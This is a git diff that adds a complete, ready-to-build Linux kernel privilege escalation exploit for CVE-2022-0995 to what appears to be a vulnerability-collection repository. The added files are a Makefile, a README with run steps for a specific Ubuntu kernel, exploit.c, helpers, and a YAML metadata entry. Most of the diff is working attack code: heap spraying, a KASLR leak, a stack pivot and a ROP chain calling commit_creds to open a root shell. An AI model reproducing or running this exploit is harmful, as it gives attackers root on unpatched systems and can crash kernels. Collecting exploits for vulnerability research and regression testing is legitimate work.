diff --git a/cve/linux-kernel/2022/CVE-2022-0995/Makefile b/cve/linux-kernel/2022/CVE-2022-0995/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..8ea8c7b377aabdb6fc4330c958964fcd3c8f0e02
--- /dev/null
+++ b/cve/linux-kernel/2022/CVE-2022-0995/Makefile
@@ -0,0 +1,10 @@
+CC = gcc
+
+all: clean exploit
+
+.PHONY: exploit
+exploit:
+ $(CC) exploit.c util.c -o exploit -no-pie -static
+
+clean:
+ rm -f exploit
diff --git a/cve/linux-kernel/2022/CVE-2022-0995/README.md b/cve/linux-kernel/2022/CVE-2022-0995/README.md
new file mode 100644
index 0000000000000000000000000000000000000000..b2e5f7812e704b5997ed55faccd6d9cb67aa18f2
--- /dev/null
+++ b/cve/linux-kernel/2022/CVE-2022-0995/README.md
@@ -0,0 +1,12 @@
+# CVE-2022-0995
+This is my exploit for `CVE-2022-0995`, an heap out-of-bounds write in the watch_queue Linux kernel component.
+It uses the same technique described in https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html.
+
+The exploit targets Ubuntu 21.10 with kernel `5.13.0-37`.
+The exploit is not `100%` reliable, you may need to run it a couple of times. It may panic the kernel, but during my tests it happened rarely.
+```sh
+make
+./exploit
+```
+
+
\ No newline at end of file
diff --git a/cve/linux-kernel/2022/CVE-2022-0995/exploit.c b/cve/linux-kernel/2022/CVE-2022-0995/exploit.c
new file mode 100644
index 0000000000000000000000000000000000000000..4639a80367f1e9f1ff29837e7268a06cd9e2e8de
--- /dev/null
+++ b/cve/linux-kernel/2022/CVE-2022-0995/exploit.c
@@ -0,0 +1,405 @@
+#define _GNU_SOURCE
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "util.h"
+
+#define MSGMSG_SPRAY 2000
+#define MSGMSG_FREE_IDX_0 0
+#define MSGMSG_FREE_IDX_1 1950
+#define MTYPE_PRIMARY 0x41
+#define MTYPE_SECONDARY 0x42
+#define MTYPE_FAKE 0x43
+#define PRIMARY_SIZE 96
+#define SECONDARY_SIZE 1024
+#define N_SOCKS 4
+#define N_SKBUFFS 128
+#define NUM_PIPEFDS 256
+#define CORRUPT_MSGMSG_TRIES 50
+
+void shell();
+
+// Ubuntu kernel 5.13.0-37-generic
+// 0xffffffff813c6866 : push rsi ; mov edx, 0x415b00c3 ; pop rsp ; pop rbp ; ret
+uint64_t PUSH_RSI_POP_RSP_RBP_RET = 0xffffffff813c6866 - 0xffffffff81000000;
+// 0xffffffff8109507d: pop r12; pop r15; ret;
+uint64_t POP_POP_RET = 0xffffffff8109507d - 0xffffffff81000000;
+// 0xffffffff81095080: pop rdi; ret;
+uint64_t POP_RDI_RET = 0xffffffff81095080 - 0xffffffff81000000;
+// 0xffffffff81509a39: xor dh, dh; ret;
+uint64_t XOR_DH_DH_RET = 0xffffffff81509a39 - 0xffffffff81000000;
+// 0xffffffff815c0d54: mov rdi, rax; jne 0x7c0d41; xor eax, eax; ret;
+uint64_t MOV_RDI_RAX_JNE_RET = 0xffffffff815c0d54 - 0xffffffff81000000;
+uint64_t KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ = 0xffffffff81e0100b - 0xffffffff81000000;
+uint64_t PREPARE_KERNEL_CRED = 0xffffffff810d45d0 - 0xffffffff81000000;
+uint64_t COMMIT_CREDS = 0xffffffff810d4370 - 0xffffffff81000000;
+uint64_t ANON_PIPE_BUF_OPS = 0xffffffff8223ffc0 - 0xffffffff81000000;
+
+uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell;
+uint64_t kaslr_base = -1;
+
+typedef struct watch_notification_type_filter wntf_t;
+typedef struct watch_notification_filter wnf_t;
+
+int spray_qids[MSGMSG_SPRAY];
+int ss[N_SOCKS][2];
+int pipe_fds[NUM_PIPEFDS][2];
+
+unsigned int real_idx = -1, corrupted_idx = -1;
+
+/*
+ spray using msg_msg
+*/
+void spray_msgmsg() {
+ char buffer[0x2000] = {0};
+ msg *message = (msg *)buffer;
+
+ for (int i = 0; i < MSGMSG_SPRAY; i++) {
+ int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
+ spray_qids[i] = spray;
+ memset(buffer, 0x42, sizeof(buffer));
+
+ ((unsigned long*)message->mtext)[0] = i;
+ ((unsigned long*)message->mtext)[5] = 0x0; // later this will probably be a msg_msgseg.next, we want it 0x0
+
+ message->mtype = MTYPE_PRIMARY;
+ send_msg(spray, message, PRIMARY_SIZE - 0x30, 0); // Each queue has 1 96 and 1 1024 msg_msg
+
+ if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1)
+ continue;
+
+ message->mtype = MTYPE_SECONDARY;
+ send_msg(spray, message, SECONDARY_SIZE - 0x30, 0); // queue --next-> 96 --next-> 1024 <-queue--
+ }
+}
+
+void delete_msgmsg(int i, int sz, long mtype) {
+ char buf[0x2000] = {0};
+ get_msg(spray_qids[i], buf, sz - 0x30, mtype, IPC_NOWAIT);
+}
+
+void check_corruption() {
+ char buf[0x2000] = {0};
+ msg *message = (msg *)buf;
+
+ for (int i = 0; i < MSGMSG_SPRAY; i++) {
+ if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1)
+ continue;
+
+ get_msg(spray_qids[i], buf, SECONDARY_SIZE - 0x30, 1, MSG_COPY|IPC_NOWAIT);
+
+ if (((uint64_t*)message->mtext)[0] != i) {
+ real_idx = i;
+ corrupted_idx = ((uint64_t*)message->mtext)[0];
+ break;
+ }
+ }
+}
+
+void cleanup_msgmsg() {
+ for (int i = 0; i < MSGMSG_SPRAY; i++) {
+ if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1 || i == real_idx || i == corrupted_idx)
+ continue;
+
+ msgctl(spray_qids[i], IPC_RMID, NULL);
+ }
+}
+/* */
+
+/*
+ kmalloc-1024 spray using skbuff
+*/
+int spray_skbuff(int ss[N_SOCKS][2], const void *buf, size_t size) {
+ for (int i = 0; i < N_SOCKS; i++) {
+ for (int j = 0; j < N_SKBUFFS; j++) {
+ if (write(ss[i][0], buf, size) < 0) {
+ perror("[-] write");
+ return -1;
+ }
+ }
+ }
+ return 0;
+}
+
+int free_skbuff(int ss[N_SOCKS][2], void *buf, size_t size) {
+ for (int i = 0; i < N_SOCKS; i++) {
+ for (int j = 0; j < N_SKBUFFS; j++) {
+ if (read(ss[i][1], buf, size) < 0) {
+ perror("[-] read");
+ return -1;
+ }
+ }
+ }
+ return 0;
+}
+/* */
+
+void build_msgmsg(void* msg, uint64_t list_next, uint64_t list_prev, uint64_t next, uint64_t m_ts, uint64_t security, uint64_t mtype) {
+ ((msg_msg*)msg)->m_list_next = list_next;
+ ((msg_msg*)msg)->m_list_prev = list_prev;
+ ((msg_msg*)msg)->next = next;
+ ((msg_msg*)msg)->m_ts = m_ts;
+ ((msg_msg*)msg)->security = security;
+ ((msg_msg*)msg)->m_type = mtype;
+}
+
+void build_rop(uint64_t* rop) {
+ int k = 0;
+ rop[k++] = 0x0; // dummy rbp
+ rop[k++] = POP_POP_RET + kaslr_base; // skip pipe_buf->ops
+ rop[k++] = 0x0; // pipe_buf->ops
+ rop[k++] = 0x0; // dummy
+ rop[k++] = POP_RDI_RET + kaslr_base;
+ rop[k++] = 0x0; // rdi
+ rop[k++] = PREPARE_KERNEL_CRED + kaslr_base;
+ rop[k++] = XOR_DH_DH_RET + kaslr_base;
+ rop[k++] = MOV_RDI_RAX_JNE_RET + kaslr_base;
+ rop[k++] = COMMIT_CREDS + kaslr_base;
+ rop[k++] = KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ + kaslr_base;
+ rop[k++] = 0x0; // rax
+ rop[k++] = 0x0; // rdi
+ rop[k++] = user_rip; // user_rip
+ rop[k++] = user_cs; // user_cs
+ rop[k++] = user_rflags; // user_rflags
+ rop[k++] = user_sp; // user_sp
+ rop[k++] = user_ss; // user_ss
+}
+
+void shell() {
+ syscall(SYS_execve, "/bin/sh", 0, 0);
+}
+
+void save_state() {
+ __asm__(
+ ".intel_syntax noprefix;"
+ "mov user_cs, cs;"
+ "mov user_ss, ss;"
+ "mov user_sp, rsp;"
+ "pushf;"
+ "pop user_rflags;"
+ ".att_syntax;"
+ );
+}
+
+int main() {
+ // Assign to cpu 0
+ cpu_set_t my_set;
+ CPU_ZERO(&my_set);
+ CPU_SET(0, &my_set);
+ if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) {
+ perror("sched_setaffinity()");
+ exit(1);
+ }
+
+ save_state();
+
+ int fds[2];
+ int nfilters = 4;
+ char buf[0x2000];
+ char secondary_buf[SECONDARY_SIZE - 0x140];
+
+ // Filter setup
+ wnf_t *filter = (wnf_t*)calloc(1, sizeof(wnf_t) + nfilters * sizeof(wntf_t));
+ if (!filter) {
+ perror("calloc()");
+ exit(1);
+ }
+
+ /*
+ STEP 1
+ Spray msg_msg: for each queue one msg in kmalloc-96 and one in kmalloc-1024
+ Corrupt a msg_msg.mlist.next in kmalloc-96, so that two msg_msg points to the same msg_msg in kmalloc-1024
+ */
+ puts("[+] STEP 1: msg_msg corruption");
+
+ int ntries = 0;
+
+ do {
+ ntries++;
+
+ filter->nr_filters = nfilters;
+ for (int i = 0; i < (nfilters - 1); i++) { // choose kmalloc-96
+ filter->filters[i].type = 1;
+ }
+
+ // Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned
+ filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024
+
+ if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {
+ perror("pipe2()");
+ exit(1);
+ }
+
+ // Spray kmalloc-96
+ spray_msgmsg();
+ delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc
+ delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup
+
+ // Filter go
+ if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {
+ perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)");
+ goto err;
+ }
+
+ check_corruption();
+
+ if (corrupted_idx != -1)
+ break;
+
+ cleanup_msgmsg();
+ } while (ntries < CORRUPT_MSGMSG_TRIES);
+
+ if (corrupted_idx == -1) {
+ puts("[-] couldn't corrupt msg_msg");
+ exit(1);
+ }
+
+ printf("[*] found corrupted msg_msg after %d tries. real: %d corrupted: %d\n", ntries, real_idx, corrupted_idx);
+ puts("[+] freeing corrupted msg_msg....");
+ delete_msgmsg(corrupted_idx, SECONDARY_SIZE, MTYPE_SECONDARY);
+
+ for (int i = 0; i < N_SOCKS; i++) {
+ if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
+ perror("[-] socketpair");
+ goto err;
+ }
+ }
+
+ memset(secondary_buf, 0x42, sizeof(secondary_buf));
+ build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, 0x0, 8192 - 0x30, 0x0, MTYPE_FAKE);
+
+ puts("[+] reallocating corrupted msg_msg....");
+ spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
+
+ memset(buf, 0x0, sizeof(buf));
+ get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY);
+
+ uint64_t primary_msg = ((uint64_t*)buf)[124];
+ if ((primary_msg & 0xffff000000000000) != 0xffff000000000000) {
+ puts("[-] wrong heap leak");
+ goto err;
+ }
+ printf("[*] primary_msg: 0x%lx\n", primary_msg);
+
+ puts("[+] freeing corrupted msg_msg....");
+ free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
+
+ memset(secondary_buf, 0x42, sizeof(secondary_buf));
+ build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, primary_msg - 8, 8192 - 0x30, 0x0, MTYPE_FAKE);
+
+ puts("[+] reallocating corrupted msg_msg....");
+ spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
+
+ memset(buf, 0x0, sizeof(buf));
+ get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY);
+
+ uint64_t secondary_msg = ((uint64_t*)buf)[507];
+ if ((secondary_msg & 0xffff000000000000) != 0xffff000000000000) {
+ puts("[-] wrong heap leak");
+ goto err;
+ }
+ printf("[*] secondary_msg: 0x%lx\n", secondary_msg);
+
+ uint64_t fake_secondary_msg = secondary_msg - SECONDARY_SIZE;
+ printf("[*] corrupted secondary_msg: 0x%lx\n", fake_secondary_msg);
+ puts("[+] freeing corrupted msg_msg....");
+ free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
+
+ build_msgmsg(secondary_buf, fake_secondary_msg, fake_secondary_msg, 0x0, SECONDARY_SIZE - 0x30, 0x0, MTYPE_FAKE);
+
+ puts("[+] reallocating corrupted msg_msg....");
+ spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
+
+ puts("[+] freeing sk_buff....");
+ delete_msgmsg(real_idx, SECONDARY_SIZE, MTYPE_FAKE);
+
+ /*
+ STEP 2
+ Spray struct pipe_buffer, leak KASLR while reading and freeing sk_buffs
+ */
+ puts("[+] STEP 2: KASLR leak");
+ puts("[+] Spraying pipe_buffer objs...");
+
+ for (int i = 0; i < NUM_PIPEFDS; i++) {
+ if (pipe(pipe_fds[i]) < 0) {
+ perror("[-] pipe");
+ goto err;
+ }
+
+ if (write(pipe_fds[i][1], "A", 1) < 0) {
+ perror("[-] write");
+ goto err;
+ }
+ }
+
+ puts("[+] Leak+free pipe_buffer objs...");
+ memset(secondary_buf, 0x0, sizeof(secondary_buf));
+
+ for (int i = 0; i < N_SOCKS; i++) {
+ for (int j = 0; j < N_SKBUFFS; j++) {
+ if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
+ perror("[-] read");
+ goto err;
+ }
+
+ if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
+ kaslr_base = ((uint64_t*)secondary_buf)[2];
+ }
+ }
+
+ if (kaslr_base == -1 || ((kaslr_base & 0xffffffff00000000) != 0xffffffff00000000)) {
+ puts("[-] couldn't leak kaslr");
+ goto err;
+ }
+
+ printf("[*] kaslr leak: 0x%lx\n", kaslr_base);
+ kaslr_base -= ANON_PIPE_BUF_OPS;
+ printf("[*] kaslr base: 0x%lx\n", kaslr_base);
+
+ /*
+ STEP 3
+ Reallocate struct pipe_buffer overwrite _ops pointer and do stack pivoting
+ */
+ puts("[+] STEP 3: Stack pivot");
+ puts("[+] Reallocating pipe_buffer object....");
+
+ struct pipe_buf_operations *ops;
+ struct pipe_buffer *pipe_buf;
+
+ memset(secondary_buf, 0x0, sizeof(secondary_buf));
+
+ pipe_buf = (struct pipe_buffer*)secondary_buf;
+ ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
+ ops->release = PUSH_RSI_POP_RSP_RBP_RET + kaslr_base;
+
+ build_rop((uint64_t*)secondary_buf);
+
+ pipe_buf->ops = fake_secondary_msg + 0x290;
+
+ spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
+
+ puts("[+] Cleaning up msg_msgs");
+ cleanup_msgmsg();
+
+ puts("[+] Releasing pipe_buffer objs");
+ for (int i = 0; i < NUM_PIPEFDS; i++) {
+ if (close(pipe_fds[i][0]) < 0) {
+ perror("[-] close");
+ goto err;
+ }
+ if (close(pipe_fds[i][1]) < 0) {
+ perror("[-] close");
+ goto err;
+ }
+ }
+
+ return 0;
+
+err:
+ cleanup_msgmsg();
+ return 1;
+}
\ No newline at end of file
diff --git a/cve/linux-kernel/2022/CVE-2022-0995/poc.png b/cve/linux-kernel/2022/CVE-2022-0995/poc.png
new file mode 100644
index 0000000000000000000000000000000000000000..4c18666c61e94241b2fa2101f833abcba272b2a7
Binary files /dev/null and b/cve/linux-kernel/2022/CVE-2022-0995/poc.png differ
diff --git a/cve/linux-kernel/2022/CVE-2022-0995/util.c b/cve/linux-kernel/2022/CVE-2022-0995/util.c
new file mode 100644
index 0000000000000000000000000000000000000000..051d36a5e9087c6a8f5fbafacbe91e1add8f95cf
--- /dev/null
+++ b/cve/linux-kernel/2022/CVE-2022-0995/util.c
@@ -0,0 +1,32 @@
+#include "util.h"
+
+int32_t make_queue(key_t key, int msgflg) {
+ int32_t result;
+ if ((result = msgget(key, msgflg)) == -1) {
+ perror("msgget failure");
+ exit(-1);
+ }
+ return result;
+}
+
+ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
+ ssize_t ret;
+ ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
+ if (ret < 0) {
+ perror("msgrcv");
+ exit(-1);
+ }
+ return ret;
+}
+
+ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
+ return msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
+}
+
+void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) {
+ if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) {
+ perror("msgsend failure");
+ exit(-1);
+ }
+ return;
+}
diff --git a/cve/linux-kernel/2022/CVE-2022-0995/util.h b/cve/linux-kernel/2022/CVE-2022-0995/util.h
new file mode 100644
index 0000000000000000000000000000000000000000..b8abd9f9c33960a25ecf6d4446db29e38d3255b2
--- /dev/null
+++ b/cve/linux-kernel/2022/CVE-2022-0995/util.h
@@ -0,0 +1,52 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+typedef struct {
+ long mtype;
+ char mtext[1];
+} msg;
+
+typedef struct {
+ uint64_t m_list_next;
+ uint64_t m_list_prev;
+ uint64_t m_type;
+ uint64_t m_ts;
+ uint64_t next;
+ uint64_t security;
+} msg_msg;
+
+struct pipe_buffer {
+ uint64_t page;
+ uint32_t offset, len;
+ uint64_t ops;
+ uint32_t flags;
+ uint64_t prv;
+};
+
+struct pipe_buf_operations {
+ uint64_t confirm;
+ uint64_t release;
+ uint64_t try_steal;
+ uint64_t get;
+};
+
+int32_t make_queue(key_t key, int msgflg);
+ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);
+ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);
+void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg);
\ No newline at end of file
diff --git a/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml b/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml
new file mode 100644
index 0000000000000000000000000000000000000000..6cbe896836e21237d35ac9e0cb1ab2809da6bf8c
--- /dev/null
+++ b/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml
@@ -0,0 +1,20 @@
+id: CVE-2022-0995
+source: https://github.com/Bonfee/CVE-2022-0995
+info:
+ name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
+ severity: high
+ description: |
+ pipe的ioctl功能IOC_WATCH_QUEUE_SET_FILTER中存在堆溢出,可造成本地提权。
+ scope-of-influence:
+ Linux kernel <5.17-rc7
+ reference:
+ - https://ubuntu.com/security/CVE-2022-0995
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-0995
+ classification:
+ cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 7.8
+ cve-id: CVE-2022-0995
+ cwe-id: CWE-787
+ cnvd-id:
+ kve-id:
+ tags: 内核越界,权限提升,cve2022
\ No newline at end of file
diff --git a/other_list.yaml b/other_list.yaml
index b545c6c0d076a40910ee56c0896906b08f4d6977..0da73d52db6244f5b65ee680cc5d7a3c19e91b04 100644
--- a/other_list.yaml
+++ b/other_list.yaml
@@ -1,3 +1,5 @@
#此收录漏洞列表为非openKylin发行版用例。
cve:
+ linux-kernel:
+ - CVE-2022-0995
cnvd:
\ No newline at end of file